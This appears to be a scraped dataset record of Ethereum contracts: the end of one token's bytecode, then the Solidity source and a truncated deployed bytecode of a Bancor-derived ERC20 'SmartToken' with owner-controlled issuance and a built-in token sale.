565b005b341561052957600080fd5b61055e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611251565b604051808215151515815260200191505060405180910390f35b341561058357600080fd5b61058b611470565b604051808215151515815260200191505060405180910390f35b34156105b057600080fd5b6105dc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061182f565b005b34156105e957600080fd5b61061e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061189b565b604051808215151515815260200191505060405180910390f35b341561064357600080fd5b61068e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a97565b6040518082815260200191505060405180910390f35b34156106af57600080fd5b6106db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b1e565b005b34156106e857600080fd5b6106f0611b79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280601281526020017f524f4f4d44414f20434f494e202852444329000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108a457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108f157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561097c57600080fd5b6109cd826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a60826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60045481565b601281565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c7b57600080fd5b339050610ccf826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9f90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2682600154611b9f90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4057600080fd5b610e4d816278d980611bd6565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f61576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff5565b610f748382611b9f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f524443000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e457600080fd5b61124e81600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd6565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561128e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112db57600080fd5b61132c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561152d57600080fd5b6000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561159c57600080fd5b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d881600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600191505090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188b57600080fd5b611898816244aa20611bd6565b50565b600061192c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000611b2982611dc2565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611b748282611251565b505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000828211151515611bad57fe5b818303905092915050565b6000808284019050838110151515611bcc57fe5b8091505092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c9257600080fd5b83600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601263ffffffff16600a0a91508183029050600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611db157600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611dbb8482611251565b5050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e5a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058209efaf8ce4c80bef960131f39eea76e5f3bb7915891fb94c712ef199f56900f090029
|
{"success": true, "error": null, "results": {}}
| 4,417 |
0xb71b7dfb0ad5fc2d3fa6cd22143c2cafcb217afe
|
pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
/*
Owned Contract Interface
*/
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
/*
This is the "owned" utility contract used by bancor with one additional function - transferOwnershipNow()
The original unmodified version can be found here:
https://github.com/bancorprotocol/contracts/commit/63480ca28534830f184d3c4bf799c1f90d113846
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
@dev transfers the contract ownership without needing the new owner to accept ownership
@param newContractOwner new contract owner
*/
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/utility/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
* From https://github.com/OpenZeppelin/openzeppelin-solidity/commit/a2e710386933d3002062888b35aae8ac0401a7b3
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/interfaces/IERC20.sol
/*
Smart Token Interface
*/
contract IERC20 {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// File: contracts/interfaces/ISmartToken.sol
/**
@notice Smart Token Interface
*/
contract ISmartToken is IOwned, IERC20 {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/SmartToken.sol
/*
This contract implements the required functionality to be considered a Bancor smart token.
Additionally it has custom token sale functionality and the ability to withdraw tokens accidentally deposited
// TODO abstract this into 3 contracts and inherit from them: 1) ERC20, 2) Smart Token, 3) Native specific functionality
*/
contract SmartToken is Owned, IERC20, ISmartToken {
/**
Smart Token Implementation
*/
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
/// @notice Triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory
event NewSmartToken(address _token);
/// @notice Triggered when the total supply is increased
event Issuance(uint256 _amount);
// @notice Triggered when the total supply is decreased
event Destruction(uint256 _amount);
// @notice Verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/// @notice Validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
/**
@dev disables/enables transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
/**
@dev increases the token supply and sends the new tokens to an account
can only be called by the contract owner
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balances[_from] = SafeMath.sub(balances[_from], _amount);
totalSupply = SafeMath.sub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
emit Destruction(_amount);
}
/**
@notice ERC20 Implementation
*/
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[msg.sender] >= _value && _to != address(0)) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _to != address(0)) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name;
uint8 public decimals;
string public symbol;
string public version;
constructor(string _name, uint _totalSupply, uint8 _decimals, string _symbol, string _version, address sender) public {
balances[sender] = _totalSupply; // Give the creator all initial tokens
totalSupply = _totalSupply; // Update total supply
name = _name; // Set the name for display purposes
decimals = _decimals; // Amount of decimals for display purposes
symbol = _symbol; // Set the symbol for display purposes
version = _version;
emit NewSmartToken(address(this));
}
/**
@notice Token Sale Implementation
*/
uint public saleStartTime;
uint public saleEndTime;
uint public price;
uint public amountRemainingForSale;
bool public buyModeEth = true;
address public beneficiary;
address public payableTokenAddress;
event TokenSaleInitialized(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, uint nowTime);
event TokensPurchased(address buyer, uint amount);
/**
@dev increases the token supply and sends the new tokens to an account. Similar to issue() but for use in token sale
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issuePurchase(address _to, uint256 _amount)
internal
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@notice Begins the token sale for this token instance
@param _saleStartTime Unix timestamp of the token sale start
@param _saleEndTime Unix timestamp of the token sale close
@param _price If sale initialized in ETH: price in Wei.
If not, token purchases are enabled and this is the amount of tokens issued per tokens paid
@param _amountForSale Amount of tokens for sale
@param _beneficiary Recipient of the token sale proceeds
*/
function initializeTokenSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) public ownerOnly {
// Check that the token sale has not yet been initialized
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
/**
@notice Begins the token sale for this token instance
@notice Uses the same signature as initializeTokenSale() with:
@param _tokenAddress The whitelisted token address to allow payments in
*/
function initializeTokenSaleWithToken(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary, address _tokenAddress) public ownerOnly {
buyModeEth = false;
payableTokenAddress = _tokenAddress;
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) internal {
// Check that the token sale has not yet been initialized
require(saleStartTime == 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
price = _price;
amountRemainingForSale = _amountForSale;
beneficiary = _beneficiary;
emit TokenSaleInitialized(saleStartTime, saleEndTime, price, amountRemainingForSale, now);
}
function updateStartTime(uint _newSaleStartTime) public ownerOnly {
saleStartTime = _newSaleStartTime;
}
function updateEndTime(uint _newSaleEndTime) public ownerOnly {
require(_newSaleEndTime >= saleStartTime);
saleEndTime = _newSaleEndTime;
}
function updateAmountRemainingForSale(uint _newAmountRemainingForSale) public ownerOnly {
amountRemainingForSale = _newAmountRemainingForSale;
}
function updatePrice(uint _newPrice) public ownerOnly {
price = _newPrice;
}
/// @dev Allows owner to withdraw erc20 tokens that were accidentally sent to this contract
function withdrawToken(IERC20 _token, uint amount) public ownerOnly {
_token.transfer(msg.sender, amount);
}
/**
@dev Allows token sale with parent token
*/
function buyWithToken(IERC20 _token, uint amount) public payable {
require(_token == payableTokenAddress);
uint amountToBuy = SafeMath.mul(amount, price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
require(_token.transferFrom(msg.sender, beneficiary, amount));
issuePurchase(msg.sender, amountToBuy);
emit TokensPurchased(msg.sender, amountToBuy);
}
function() public payable {
require(buyModeEth == true);
uint amountToBuy = SafeMath.div( SafeMath.mul(msg.value, 1 ether), price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
issuePurchase(msg.sender, amountToBuy);
beneficiary.transfer(msg.value);
emit TokensPurchased(msg.sender, amountToBuy);
}
}
|
0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306bcf02f1461031257806306fdde031461033f578063095ea7b3146103cf5780631608f18f1461043457806318160ddd146104635780631cbaee2d1461048e5780631d4a9209146104b957806323b872dd14610524578063313ce567146105a957806338af3eed146105da57806354fd4d501461063157806368e57c6b146106c15780636ab3846b146106ec5780636e33a8311461071957806370a082311461075957806379ba5097146107b0578063867904b4146107c75780638692ac86146108145780638d6cc56d146108575780638da5cb5b1461088457806395d89b41146108db57806398079dc41461096b5780639e281a98146109c2578063a035b1fe14610a0f578063a24835d114610a3a578063a9059cbb14610a87578063bef97c8714610aec578063cb52c25e14610b1b578063d4ee1d9014610b48578063da5da3b914610b9f578063dd62ed3e14610c2a578063ea5a641614610ca1578063ed338ff114610cd0578063f2fde38b14610cfb575b600060011515600d60009054906101000a900460ff1615151415156101d057600080fd5b6101ed6101e534670de0b6b3a7640000610d3e565b600b54610d7c565b9050600c54811115151561020057600080fd5b600a54421115801561021457506009544210155b151561021f57600080fd5b61022b600c5482610da6565b600c8190555061023b3382610dc7565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102a3573d6000803e3d6000fd5b507f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150005b34801561031e57600080fd5b5061033d60048036038101908080359060200190929190505050610f80565b005b34801561034b57600080fd5b50610354610fe5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610394578082015181840152602081019050610379565b50505050905090810190601f1680156103c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611083565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610461600480360381019080803515159060200190929190505050611175565b005b34801561046f57600080fd5b506104786111ee565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104a36111f4565b6040518082815260200191505060405180910390f35b3480156104c557600080fd5b5061052260048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b34801561053057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611269565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b506105be611624565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105e657600080fd5b506105ef611637565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063d57600080fd5b5061064661165d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068657808201518184015260208101905061066b565b50505050905090810190601f1680156106b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cd57600080fd5b506106d66116fb565b6040518082815260200191505060405180910390f35b3480156106f857600080fd5b5061071760048036038101908080359060200190929190505050611701565b005b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611777565b005b34801561076557600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119de565b6040518082815260200191505060405180910390f35b3480156107bc57600080fd5b506107c5611a27565b005b3480156107d357600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bc6565b005b34801561082057600080fd5b50610855600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dda565b005b34801561086357600080fd5b5061088260048036038101908080359060200190929190505050611f4f565b005b34801561089057600080fd5b50610899611fb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e757600080fd5b506108f0611fd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610930578082015181840152602081019050610915565b50505050905090810190601f16801561095d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097757600080fd5b50610980612077565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061209d565b005b348015610a1b57600080fd5b50610a246121db565b6040518082815260200191505060405180910390f35b348015610a4657600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121e1565b005b348015610a9357600080fd5b50610ad2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123b0565b604051808215151515815260200191505060405180910390f35b348015610af857600080fd5b50610b016125dc565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b46600480360381019080803590602001909291905050506125ef565b005b348015610b5457600080fd5b50610b5d612654565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bab57600080fd5b50610c2860048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061267a565b005b348015610c3657600080fd5b50610c8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612746565b6040518082815260200191505060405180910390f35b348015610cad57600080fd5b50610cb66127cd565b604051808215151515815260200191505060405180910390f35b348015610cdc57600080fd5b50610ce56127e0565b6040518082815260200191505060405180910390f35b348015610d0757600080fd5b50610d3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127e6565b005b6000806000841415610d535760009150610d75565b8284029050828482811515610d6457fe5b04141515610d7157600080fd5b8091505b5092915050565b600080600083111515610d8e57600080fd5b8284811515610d9957fe5b0490508091505092915050565b600080838311151515610db857600080fd5b82840390508091505092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0457600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e4057600080fd5b610e4c600254846128e1565b600281905550610e9b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff